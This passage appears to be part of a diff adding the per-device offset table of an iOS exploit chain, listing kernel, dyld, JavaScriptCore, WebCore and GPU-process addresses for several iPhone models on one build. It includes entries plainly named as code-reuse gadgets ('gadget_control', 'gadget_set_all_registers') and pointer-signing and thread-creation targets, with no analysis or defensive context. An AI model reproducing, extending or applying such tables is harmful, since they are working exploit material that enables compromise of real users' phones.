0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, +"iPhone12,5_22G100": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + + "iPhone12,8_22G100": { + __pthread_head : 0x2689e8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9ba8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9690n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f95f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9640n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8a38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95e90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7078c8n, + free_slabs : 0x1ed7c1050n, + gadget_control_1_ios184 : 0x23ee302ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da270n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d9f20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d9f28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d9f30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d9e70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d9f38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cbd28b4n, + libGPUCompilerImplLazy_cstring : 0x23bd1c870n, + libsystem_c__atexit_mutex : 0x1ed6e64d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5740n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2575ffe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271050000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a4e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8872b8n, + WebCore__initPKContact_value : 0x1ed8872c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e778n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885a90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885a88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885a70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b6c0n, + }, + "iPhone13,1_22G100": { + __pthread_head : 0x268d14020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa1e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9cd0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9c30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9c80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9078n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578d7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27138c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone13,2_3_22G100": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed708048n, + free_slabs : 0x1ed7c17d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01a150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da9f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da6a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da6a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da6b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da5f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da6b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e6c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5ec0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a32e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271dbc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ac68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887a38n, + WebCore__initPKContact_value : 0x1ed887a40n, + WebCore__PAL_getPKContactClass : 0x1ed87eef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8861f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87be40n, + }, +"iPhone13,3_22G100": { + __pthread_head : 0x26972c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f91b8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + 